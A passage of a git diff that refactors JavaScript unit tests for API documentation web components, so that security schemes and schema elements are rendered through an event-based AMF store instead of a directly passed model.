           const dataType = property.querySelector('.param-type');
@@ -895,6 +905,7 @@ describe('ApiSchemaDocumentElement', () => {
         let model;
         before(async () => {
           model = await loader.getGraph(compact, 'aap-1698');
+          store.amf = model;
         });
 
         /** @type ApiSchemaDocumentElement */
@@ -902,7 +913,7 @@ describe('ApiSchemaDocumentElement', () => {
         beforeEach(async () => {
           const [payload] = loader.getPayloads(model, '/not-working', 'post');
           const { schema } = payload;
-          element = await schemaFixture(model, schema, JsonType);
+          element = await schemaFixture(schema, JsonType);
         });
 
         it('renders enum values with the array property', () => {
@@ -929,6 +940,7 @@ describe('ApiSchemaDocumentElement', () => {
         let model;
         before(async () => {
           model = await loader.getGraph(compact, 'APIC-332');
+          store.amf = model;
         });
 
         /** @type ApiSchemaDocumentElement */
@@ -936,7 +948,7 @@ describe('ApiSchemaDocumentElement', () => {
         beforeEach(async () => {
           const [payload] = loader.getPayloads(model, '/organization', 'post');
           const { schema } = payload;
-          element = await schemaFixture(model, schema, JsonType);
+          element = await schemaFixture(schema, JsonType);
         });
 
         it('renders description for an example', () => {
diff --git a/test/elements/ApiSecurityDocumentElement.test.js b/test/elements/ApiSecurityDocumentElement.test.js
index 4cfe98f..9fa407f 100644
--- a/test/elements/ApiSecurityDocumentElement.test.js
+++ b/test/elements/ApiSecurityDocumentElement.test.js
@@ -1,44 +1,43 @@
 import { fixture, assert, html, aTimeout } from '@open-wc/testing';
 import { AmfLoader } from '../AmfLoader.js';
-import '../../define/api-security-document.js';
+import { DomEventsAmfStore } from '../../src/store/DomEventsAmfStore.js';
 import { securityValue } from '../../src/elements/ApiSecurityDocumentElement.js';
+import '../../define/api-security-document.js';
 
 /** @typedef {import('../../').ApiSecurityDocumentElement} ApiSecurityDocumentElement */
 /** @typedef {import('../../').ApiParameterDocumentElement} ApiParameterDocumentElement */
 /** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
 /** @typedef {import('../../src/helpers/amf').DomainElement} DomainElement */
-/** @typedef {import('../../src/helpers/amf').SecurityRequirement} SecurityRequirement */
+/** @typedef {import('../../src/helpers/api').ApiSecurityScheme} ApiSecurityScheme */
 
 describe('ApiSecurityDocumentElement', () => {
   const loader = new AmfLoader();
+  const store = new DomEventsAmfStore(window);
+  store.listen();
 
   /**
-   * @param {AmfDocument} amf
-   * @param {DomainElement=} shape
+   * @param {ApiSecurityScheme=} shape
    * @returns {Promise<ApiSecurityDocumentElement>}
    */
-  async function amfModelFixture(amf, shape) {
+  async function amfModelFixture(shape) {
     const element = await fixture(html`<api-security-document 
-      .queryDebouncerTimeout="${0}" 
-      .amf="${amf}" 
-      .domainModel="${shape}"
+      .queryDebouncerTimeout="${0}"
+      .securityScheme="${shape}"
     ></api-security-document>`);
-    await aTimeout(0);
+    await aTimeout(2);
     return /** @type ApiSecurityDocumentElement */ (element);
   }
 
   /**
-   * @param {AmfDocument} amf
    * @param {string=} domainId
    * @returns {Promise<ApiSecurityDocumentElement>}
    */
-  async function domainIdFixture(amf, domainId) {
+  async function domainIdFixture(domainId) {
     const element = await fixture(html`<api-security-document 
-      .queryDebouncerTimeout="${0}" 
-      .amf="${amf}" 
+      .queryDebouncerTimeout="${0}"
       .domainId="${domainId}"
     ></api-security-document>`);
-    await aTimeout(0);
+    await aTimeout(2);
     return /** @type ApiSecurityDocumentElement */ (element);
   }
 
@@ -47,60 +46,61 @@ describe('ApiSecurityDocumentElement', () => {
       describe('Basic auth', () => {
         /** @type AmfDocument */
         let model;
-        /** @type SecurityRequirement */
+        /** @type ApiSecurityScheme */
         let security;
         before(async () => {
           model = await loader.getGraph(compact, 'security-api');
-          security = loader.lookupSecurity(model, 'basic');
+          store.amf = model;
+          security = loader.getSecurity(model, 'basic');
           assert.ok(security, 'has the basic security');
         });
 
         describe('Schema rendering', () => {
           it('computes the [securityValue] from the passed AMF model', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             assert.typeOf(element[securityValue], 'object', 'has the serialized object');
-            assert.equal(element[securityValue].id, security['@id'], 'has the security value');
+            assert.equal(element[securityValue].id, security.id, 'has the security value');
           });
 
           it('computes the [securityValue] from the passed domain id', async () => {
-            const element = await domainIdFixture(model, security['@id']);
+            const element = await domainIdFixture(security.id);
             assert.typeOf(element[securityValue], 'object', 'has the serialized object');
-            assert.equal(element[securityValue].id, security['@id'], 'has the security value');
+            assert.equal(element[securityValue].id, security.id, 'has the security value');
           });
 
           it('renders the title', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             const node = element.shadowRoot.querySelector('.security-header .label');
             assert.dom.equal(node, '<span class="label text-selectable">basic</span>');
           });
 
           it('renders the sub-header', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             const node = element.shadowRoot.querySelector('.security-header .sub-header');
             assert.dom.equal(node, '<p class="sub-header text-selectable">Basic Authentication</p>');
           });
 
           it('renders the description', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             const node = element.shadowRoot.querySelector('.api-description arc-marked');
             assert.ok(node, 'has the documentation node');
           });
 
           it('renders the header', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             const nodes = element.shadowRoot.querySelectorAll('api-parameter-document');
             assert.lengthOf(nodes, 1, 'has a single header');
             assert.equal(nodes[0].parameter.name, 'Authorization', 'has the parameter definition');
           });
 
           it('has no responses', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             const nodes = element.shadowRoot.querySelectorAll('api-response-document');
             assert.lengthOf(nodes, 0, 'has no elements');
           });
 
           it('has no settings', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             const node = element.shadowRoot.querySelector('[data-controlled-by="settingsOpened"]');
             assert.notOk(node, 'has no settings section');
           });
@@ -108,7 +108,7 @@ describe('ApiSecurityDocumentElement', () => {
 
         describe('a11y', () => {
           it('is accessible', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             await assert.isAccessible(element, { ignoredRules: ['color-contrast'] });
           });
         });
@@ -117,61 +117,62 @@ describe('ApiSecurityDocumentElement', () => {
       describe('RAML custom auth', () => {
         /** @type AmfDocument */
         let model;
-        /** @type SecurityRequirement */
+        /** @type ApiSecurityScheme */
         let security;
         before(async () => {
           model = await loader.getGraph(compact, 'security-api');
-          security = loader.lookupSecurity(model, 'x-custom');
+          store.amf = model;
+          security = loader.getSecurity(model, 'x-custom');
           assert.ok(security, 'has the custom security');
         });
 
         describe('Schema rendering', () => {
           it('computes the [securityValue] from the passed AMF model', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             assert.typeOf(element[securityValue], 'object', 'has the serialized object');
-            assert.equal(element[securityValue].id, security['@id'], 'has the security value');
+            assert.equal(element[securityValue].id, security.id, 'has the security value');
           });
 
           it('computes the [securityValue] from the passed domain id', async () => {
-            const element = await domainIdFixture(model, security['@id']);
+            const element = await domainIdFixture(security.id);
             assert.typeOf(element[securityValue], 'object', 'has the serialized object');
-            assert.equal(element[securityValue].id, security['@id'], 'has the security value');
+            assert.equal(element[securityValue].id, security.id, 'has the security value');
           });
 
           it('renders the title', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             const node = element.shadowRoot.querySelector('.security-header .label');
             assert.dom.equal(node, '<span class="label text-selectable">x-custom</span>');
           });
 
           it('renders the sub-header', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             const node = element.shadowRoot.querySelector('.security-header .sub-header');
             assert.dom.equal(node, '<p class="sub-header text-selectable">x-custom</p>');
           });
 
           it('renders the description', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             const node = element.shadowRoot.querySelector('.api-description arc-marked');
             assert.ok(node, 'has the documentation node');
           });
 
           it('renders the header parameters', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             const nodes = /** @type NodeListOf<ApiParameterDocumentElement> */ (element.shadowRoot.querySelectorAll('api-parameter-document[data-name="header"]'));
             assert.lengthOf(nodes, 1, 'has a single header');
             assert.equal(nodes[0].parameter.name, 'SpecialToken', 'has the parameter definition');
           });
 
           it('renders the query parameters', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             const nodes = /** @type NodeListOf<ApiParameterDocumentElement> */ (element.shadowRoot.querySelectorAll('api-parameter-document[data-name="query"]'));
             assert.lengthOf(nodes, 2, 'has both parameters');
             assert.equal(nodes[0].parameter.name, 'debugToken', 'has a parameter definition');
           });
 
           it('has the responses section', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             const nodes = element.shadowRoot.querySelectorAll('api-response-document');
             assert.lengthOf(nodes, 1, 'has a single response');
 
@@ -185,7 +186,7 @@ describe('ApiSecurityDocumentElement', () => {
           });
 
           it('has no settings', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             const node = element.shadowRoot.querySelector('[data-controlled-by="settingsOpened"]');
             assert.notOk(node, 'has no settings section');
           });
@@ -193,7 +194,7 @@ describe('ApiSecurityDocumentElement', () => {
 
         describe('a11y', () => {
           it('is accessible', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             await assert.isAccessible(element, { ignoredRules: ['color-contrast'] });
           });
         });
@@ -202,59 +203,60 @@ describe('ApiSecurityDocumentElement', () => {
       describe('Digest auth', () => {
         /** @type AmfDocument */
         let model;
-        /** @type SecurityRequirement */
+        /** @type ApiSecurityScheme */
         let security;
         before(async () => {
           model = await loader.getGraph(compact, 'security-api');
-          security = loader.lookupSecurity(model, 'digest');
+          store.amf = model;
+          security = loader.getSecurity(model, 'digest');
           assert.ok(security, 'has the digest security');
         });
 
         describe('Schema rendering', () => {
           it('computes the [securityValue] from the passed AMF model', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             assert.typeOf(element[securityValue], 'object', 'has the serialized object');
-            assert.equal(element[securityValue].id, security['@id'], 'has the security value');
+            assert.equal(element[securityValue].id, security.id, 'has the security value');
           });
 
           it('computes the [securityValue] from the passed domain id', async () => {
-            const element = await domainIdFixture(model, security['@id']);
+            const element = await domainIdFixture(security.id);
             assert.typeOf(element[securityValue], 'object', 'has the serialized object');
-            assert.equal(element[securityValue].id, security['@id'], 'has the security value');
+            assert.equal(element[securityValue].id, security.id, 'has the security value');
           });
 
           it('renders the title', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             const node = element.shadowRoot.querySelector('.security-header .label');
             assert.dom.equal(node, '<span class="label text-selectable">digest</span>');
           });
 
           it('renders the sub-header', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             const node = element.shadowRoot.querySelector('.security-header .sub-header');
             assert.dom.equal(node, '<p class="sub-header text-selectable">Digest Authentication</p>');
           });
 
           it('renders the description', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             const node = element.shadowRoot.querySelector('.api-description arc-marked');
             assert.ok(node, 'has the documentation node');
           });
 
           it('has no parameters', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             const nodes = element.shadowRoot.querySelectorAll('api-parameter-document');
             assert.lengthOf(nodes, 0);
           });
 
           it('has no responses', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             const nodes = element.shadowRoot.querySelectorAll('api-response-document');
             assert.lengthOf(nodes, 0, 'has no elements');
           });
 
           it('has no settings', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             const node = element.shadowRoot.querySelector('[data-controlled-by="settingsOpened"]');
             assert.notOk(node, 'has no settings section');
           });
@@ -262,7 +264,7 @@ describe('ApiSecurityDocumentElement', () => {
 
         describe('a11y', () => {
           it('is accessible', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             await assert.isAccessible(element, { ignoredRules: ['color-contrast'] });
           });
         });
@@ -271,67 +273,68 @@ describe('ApiSecurityDocumentElement', () => {
       describe('RAML custom auth', () => {
         /** @type AmfDocument */
         let model;
-        /** @type SecurityRequirement */
+        /** @type ApiSecurityScheme */
         let security;
         before(async () => {
           model = await loader.getGraph(compact, 'security-api');
-          security = loader.lookupSecurity(model, 'pass_through');
+          store.amf = model;
+          security = loader.getSecurity(model, 'pass_through');
           assert.ok(security, 'has the custom security');
         });
 
         describe('Schema rendering', () => {
           it('computes the [securityValue] from the passed AMF model', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             assert.typeOf(element[securityValue], 'object', 'has the serialized object');
-            assert.equal(element[securityValue].id, security['@id'], 'has the security value');
+            assert.equal(element[securityValue].id, security.id, 'has the security value');
           });
 
           it('computes the [securityValue] from the passed domain id', async () => {
-            const element = await domainIdFixture(model, security['@id']);
+            const element = await domainIdFixture(security.id);
             assert.typeOf(element[securityValue], 'object', 'has the serialized object');
-            assert.equal(element[securityValue].id, security['@id'], 'has the security value');
+            assert.equal(element[securityValue].id, security.id, 'has the security value');
           });
 
           it('renders the title', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             const node = element.shadowRoot.querySelector('.security-header .label');
             assert.dom.equal(node, '<span class="label text-selectable">pass_through</span>');
           });
 
           it('renders the sub-header', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             const node = element.shadowRoot.querySelector('.security-header .sub-header');
             assert.dom.equal(node, '<p class="sub-header text-selectable">Pass Through</p>');
           });
 
           it('renders the description', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             const node = element.shadowRoot.querySelector('.api-description arc-marked');
             assert.ok(node, 'has the documentation node');
           });
 
           it('renders the header parameters', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             const nodes = /** @type NodeListOf<ApiParameterDocumentElement> */ (element.shadowRoot.querySelectorAll('api-parameter-document[data-name="header"]'));
             assert.lengthOf(nodes, 1, 'has a single header');
             assert.equal(nodes[0].parameter.name, 'api_key_pass_through', 'has the parameter definition');
           });
 
           it('renders the query parameters', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             const nodes = /** @type NodeListOf<ApiParameterDocumentElement> */ (element.shadowRoot.querySelectorAll('api-parameter-document[data-name="query"]'));
             assert.lengthOf(nodes, 1, 'has a single parameter');
             assert.equal(nodes[0].parameter.name, 'api-key-pass-through', 'has a parameter definition');
           });
 
           it('has no responses', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             const nodes = element.shadowRoot.querySelectorAll('api-response-document');
             assert.lengthOf(nodes, 0, 'has no elements');
           });
 
           it('has no settings', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             const node = element.shadowRoot.querySelector('[data-controlled-by="settingsOpened"]');
             assert.notOk(node, 'has no settings section');
           });
@@ -339,7 +342,7 @@ describe('ApiSecurityDocumentElement', () => {
 
         describe('a11y', () => {
           it('is accessible', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             await assert.isAccessible(element, { ignoredRules: ['color-contrast'] });
           });
         });
@@ -348,61 +351,62 @@ describe('ApiSecurityDocumentElement', () => {
       describe('OAuth 1 auth', () => {
         /** @type AmfDocument */
         let model;
-        /** @type SecurityRequirement */
+        /** @type ApiSecurityScheme */
         let security;
         before(async () => {
           model = await loader.getGraph(compact, 'security-api');
-          security = loader.lookupSecurity(model, 'oauth_1_0');
+          store.amf = model;
+          security = loader.getSecurity(model, 'oauth_1_0');
           assert.ok(security, 'has the custom security');
         });
 
         describe('Schema rendering', () => {
           it('computes the [securityValue] from the passed AMF model', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             assert.typeOf(element[securityValue], 'object', 'has the serialized object');
-            assert.equal(element[securityValue].id, security['@id'], 'has the security value');
+            assert.equal(element[securityValue].id, security.id, 'has the security value');
           });
 
           it('computes the [securityValue] from the passed domain id', async () => {
-            const element = await domainIdFixture(model, security['@id']);
+            const element = await domainIdFixture(security.id);
             assert.typeOf(element[securityValue], 'object', 'has the serialized object');
-            assert.equal(element[securityValue].id, security['@id'], 'has the security value');
+            assert.equal(element[securityValue].id, security.id, 'has the security value');
           });
 
           it('renders the title', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             const node = element.shadowRoot.querySelector('.security-header .label');
             assert.dom.equal(node, '<span class="label text-selectable">oauth_1_0</span>');
           });
 
           it('renders the sub-header', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             const node = element.shadowRoot.querySelector('.security-header .sub-header');
             assert.dom.equal(node, '<p class="sub-header text-selectable">OAuth 1.0</p>');
           });
 
           it('renders the description', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             const node = element.shadowRoot.querySelector('.api-description arc-marked');
             assert.ok(node, 'has the documentation node');
           });
 
           it('renders the header parameters', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             const nodes = /** @type NodeListOf<ApiParameterDocumentElement> */ (element.shadowRoot.querySelectorAll('api-parameter-document[data-name="header"]'));
             assert.lengthOf(nodes, 1, 'has a single header');
             assert.equal(nodes[0].parameter.name, 'Authorization', 'has the parameter definition');
           });
 
           it('renders the query parameters', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             const nodes = /** @type NodeListOf<ApiParameterDocumentElement> */ (element.shadowRoot.querySelectorAll('api-parameter-document[data-name="query"]'));
             assert.lengthOf(nodes, 1, 'has a single parameter');
             assert.equal(nodes[0].parameter.name, 'token', 'has a parameter definition');
           });
 
           it('has the responses section', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             const nodes = element.shadowRoot.querySelectorAll('api-response-document');
             assert.lengthOf(nodes, 1, 'has a single response');
 
@@ -415,13 +419,13 @@ describe('ApiSecurityDocumentElement', () => {
           });
 
           it('has the settings section', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             const node = element.shadowRoot.querySelector('[data-controlled-by="settingsOpened"]');
             assert.ok(node, 'has the section');
           });
 
           it('has the authorization URI setting', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             const node = element.shadowRoot.querySelector('[data-type="authorization-uri"]');
             assert.ok(node, 'has the title');
             assert.equal(node.textContent.trim(), 'Authorization URI', 'has the section title');
@@ -429,7 +433,7 @@ describe('ApiSecurityDocumentElement', () => {
           });
 
           it('has the access token URI setting', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             const node = element.shadowRoot.querySelector('[data-type="token-uri"]');
             assert.ok(node, 'has the title');
             assert.equal(node.textContent.trim(), 'Access token URI', 'has the section title');
@@ -437,7 +441,7 @@ describe('ApiSecurityDocumentElement', () => {
           });
 
           it('has the token credentials URI setting', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             const node = element.shadowRoot.querySelector('[data-type="token-credentials-uri"]');
             assert.ok(node, 'has the title');
             assert.equal(node.textContent.trim(), 'Token credentials URI', 'has the section title');
@@ -445,7 +449,7 @@ describe('ApiSecurityDocumentElement', () => {
           });
 
           it('has the signatures setting', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             const node = element.shadowRoot.querySelector('[data-type="signatures"]');
             assert.ok(node, 'has the title');
             assert.equal(node.textContent.trim(), 'Supported signatures', 'has the section title');
@@ -458,7 +462,7 @@ describe('ApiSecurityDocumentElement', () => {
 
         describe('a11y', () => {
           it('is accessible', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             await assert.isAccessible(element, { ignoredRules: ['color-contrast'] });
           });
         });
@@ -467,74 +471,75 @@ describe('ApiSecurityDocumentElement', () => {
       describe('OAuth 2 auth', () => {
         /** @type AmfDocument */
         let model;
-        /** @type SecurityRequirement */
+        /** @type ApiSecurityScheme */
         let security;
 
         describe('Basic schema rendering', () => {
           before(async () => {
             model = await loader.getGraph(compact, 'secured-api');
-            security = loader.lookupSecurity(model, 'Regular OAuth 2.0 definition');
+            store.amf = model;
+            security = loader.getSecurity(model, 'Regular OAuth 2.0 definition');
             assert.ok(security, 'has the custom security');
           });
 
           it('computes the [securityValue] from the passed AMF model', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             assert.typeOf(element[securityValue], 'object', 'has the serialized object');
-            assert.equal(element[securityValue].id, security['@id'], 'has the security value');
+            assert.equal(element[securityValue].id, security.id, 'has the security value');
           });
 
           it('computes the [securityValue] from the passed domain id', async () => {
-            const element = await domainIdFixture(model, security['@id']);
+            const element = await domainIdFixture(security.id);
             assert.typeOf(element[securityValue], 'object', 'has the serialized object');
-            assert.equal(element[securityValue].id, security['@id'], 'has the security value');
+            assert.equal(element[securityValue].id, security.id, 'has the security value');
           });
 
           it('renders the title', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             const node = element.shadowRoot.querySelector('.security-header .label');
             assert.dom.equal(node, '<span class="label text-selectable">Regular OAuth 2.0 definition</span>');
           });
 
           it('renders the sub-header', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             const node = element.shadowRoot.querySelector('.security-header .sub-header');
             assert.dom.equal(node, '<p class="sub-header text-selectable">OAuth 2.0</p>');
           });
 
           it('renders the description', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             const node = element.shadowRoot.querySelector('.api-description arc-marked');
             assert.notOk(node, 'has no documentation node');
           });
 
           it('renders the header parameters', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             const nodes = /** @type NodeListOf<ApiParameterDocumentElement> */ (element.shadowRoot.querySelectorAll('api-parameter-document[data-name="header"]'));
             assert.lengthOf(nodes, 1, 'has a single header');
             assert.equal(nodes[0].parameter.name, 'Authorization', 'has the parameter definition');
           });
 
           it('renders the query parameters', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             const nodes = /** @type NodeListOf<ApiParameterDocumentElement> */ (element.shadowRoot.querySelectorAll('api-parameter-document[data-name="query"]'));
             assert.lengthOf(nodes, 1, 'has a single parameter');
             assert.equal(nodes[0].parameter.name, 'access_token', 'has a parameter definition');
           });
 
           it('has no responses section', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             const nodes = element.shadowRoot.querySelectorAll('api-response-document');
             assert.lengthOf(nodes, 0, 'has no responses');
           });
 
           it('has the settings section', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             const node = element.shadowRoot.querySelector('[data-controlled-by="settingsOpened"]');
             assert.ok(node, 'has the section');
           });
 
           it('has the access token URI setting', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             const node = element.shadowRoot.querySelector('[data-type="token-uri"]');
             assert.ok(node, 'has the title');
             assert.equal(node.textContent.trim(), 'Access token URI', 'has the section title');
@@ -542,7 +547,7 @@ describe('ApiSecurityDocumentElement', () => {
           });
 
           it('has the authorization URI setting', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             const node = element.shadowRoot.querySelector('[data-type="authorization-uri"]');
             assert.ok(node, 'has the title');
             assert.equal(node.textContent.trim(), 'Authorization URI', 'has the section title');
@@ -550,7 +555,7 @@ describe('ApiSecurityDocumentElement', () => {
           });
 
           it('has the authorization scopes setting', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             const node = element.shadowRoot.querySelector('[data-type="authorization-scopes"]');
             assert.ok(node, 'has the title');
             assert.equal(node.textContent.trim(), 'Authorization scopes', 'has the section title');
@@ -564,12 +569,12 @@ describe('ApiSecurityDocumentElement', () => {
         describe('Authorization grants rendering', () => {
           before(async () => {
             model = await loader.getGraph(compact, 'secured-api');
-            security = loader.lookupSecurity(model, 'OAuth 2 grants security');
+            security = loader.getSecurity(model, 'OAuth 2 grants security');
             assert.ok(security, 'has the custom security');
           });
 
           it('has the authorization grants setting', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             const node = element.shadowRoot.querySelector('[data-type="authorization-grants"]');
             assert.ok(node, 'has the title');
             assert.equal(node.textContent.trim(), 'Authorization grants', 'has the section title');
@@ -583,12 +588,12 @@ describe('ApiSecurityDocumentElement', () => {
         describe('No authorization scopes', () => {
           before(async () => {
             model = await loader.getGraph(compact, 'security-api');
-            security = loader.lookupSecurity(model, 'OAuth2 (no scopes)');
+            security = loader.getSecurity(model, 'OAuth2 (no scopes)');
             assert.ok(security, 'has the custom security');
           });
 
           it('has np authorization scopes setting', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             const node = element.shadowRoot.querySelector('[data-type="authorization-scopes"]');
             assert.notOk(node, 'has no title');
           });
@@ -597,25 +602,25 @@ describe('ApiSecurityDocumentElement', () => {
         describe('Multiple flows', () => {
           before(async () => {
             model = await loader.getGraph(compact, 'oauth-flows');
-            security = loader.lookupSecurity(model, 'oAuthSample');
+            security = loader.getSecurity(model, 'oAuthSample');
             assert.ok(security, 'has the custom security');
           });
 
           it('has multiple flows', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             const nodes = element.shadowRoot.querySelectorAll('.flow-description');
             assert.lengthOf(nodes, 4, 'has 4 flows sections');
           });
 
           it('renders a flow title', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             const section = element.shadowRoot.querySelector('.flow-description');
             const title = section.querySelector('.grant-title');
             assert.dom.equal(title, '<h4 class="grant-title">Implicit</h4>');
           });
 
           it('has the authorization URI setting', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             const section = element.shadowRoot.querySelector('.flow-description');
             const node = section.querySelector('[data-type="authorization-uri"]');
             assert.ok(node, 'has the title');
@@ -624,7 +629,7 @@ describe('ApiSecurityDocumentElement', () => {
           });
 
           it('has the authorization scopes setting', async () => {
-            const element = await amfModelFixture(model, security);
+            const element = await amfModelFixture(security);
             const section = element.shadowRoot.querySelector('.flow-description');
             const node = section.querySelector('[data-type="authorization-scopes"]');
             assert.ok(node, 'has the title');
@@ -649,8 +654,8 @@ describe('ApiSecurityDocumentElement', () => {
           });
 
           it('is accessible', async () => {
-            security = loader.lookupSecurity(model, 'Regular OAuth 2.0 definition');
-            const element = await amfModelFixture(model, security);
+            security = loader.getSecurity(model, 'Regular OAuth 2.0 definition');
+            const element = await amfModelFixture(security);
             await assert.isAccessible(element, { ignoredRules: ['color-contrast'] });
           });
         });
diff --git a/test/elements/ApiSecurityRequirementDocumentElement.test.js b/test/elements/ApiSecurityRequirementDocumentElement.test.js
index d51d895..69c0a03 100644
--- a/test/elements/ApiSecurityRequirementDocumentElement.test.js
+++ b/test/elements/ApiSecurityRequirementDocumentElement.test.js
@@ -1,5 +1,6 @@
 import { fixture, assert, html, aTimeout } from '@open-wc/testing';
 import { AmfLoader } from '../AmfLoader.js';
+import { DomEventsAmfStore } from '../../src/store/DomEventsAmfStore.js';
 import '../../define/api-security-requirement-document.js';
 
 /** @typedef {import('../../').ApiSecurityRequirementDocumentElement} ApiSecurityRequirementDocumentElement */
@@ -10,16 +11,16 @@ import '../../define/api-security-requirement-document.js';
 
 describe('ApiSecurityRequirementDocumentElement', () => {
   const loader = new AmfLoader();
+  const store = new DomEventsAmfStore(window);
+  store.listen();
 
   /**
-   * @param {AmfDocument} amf
    * @param {string=} domainId
    * @returns {Promise<ApiSecurityRequirementDocumentElement>}
    */
-  async function domainIdFixture(amf, domainId) {
+  async function domainIdFixture(domainId) {
     const element = await fixture(html`<api-security-requirement-document 
-      .queryDebouncerTimeout="${0}" 
-      .amf="${amf}" 
+      .queryDebouncerTimeout="${0}"
       .domainId="${domainId}"
     ></api-security-requirement-document>`);
     await aTimeout(0);
@@ -27,63 +28,39 @@ describe('ApiSecurityRequirementDocumentElement', () => {
   }
 
   /**
-   * @param {AmfDocument} amf
    * @param {ApiSecurityRequirement=} model
    * @returns {Promise<ApiSecurityRequirementDocumentElement>}
    */
-  async function serializedFixture(amf, model) {
+  async function modelFixture(model) {
     const element = await fixture(html`<api-security-requirement-document 
-      .queryDebouncerTimeout="${0}" 
-      .amf="${amf}" 
+      .queryDebouncerTimeout="${0}"
       .securityRequirement="${model}"
     ></api-security-requirement-document>`);
     await aTimeout(0);
     return /** @type ApiSecurityRequirementDocumentElement */ (element);
   }
 
-  /**
-   * @param {AmfDocument} amf
-   * @param {SecurityRequirement=} model
-   * @returns {Promise<ApiSecurityRequirementDocumentElement>}
-   */
-  async function modelFixture(amf, model) {
-    const element = await fixture(html`<api-security-requirement-document 
-      .queryDebouncerTimeout="${0}" 
-      .amf="${amf}" 
-      .domainModel="${model}"
-    ></api-security-requirement-document>`);
-    await aTimeout(0);
-    return /** @type ApiSecurityRequirementDocumentElement */ (element);
-  }
-
   [false, true].forEach((compact) => {
     describe(compact ? 'Compact model' : 'Full model', () => {
       /** @type AmfDocument */
       let model;
       before(async () => {
         model = await loader.getGraph(compact, 'secured-api');
+        store.amf = model;
       });
 
       it('finds the security for an operation', async () => {
         const op = loader.getOperation(model, '/custom1', 'get');
         const [security] = op.security;
         const { id } = security;
-        const element = await domainIdFixture(model, id);
+        const element = await domainIdFixture(id);
         assert.deepEqual(element.securityRequirement, security);
       });
 
       it('renders the security requirement when passing a serialized model', async () => {
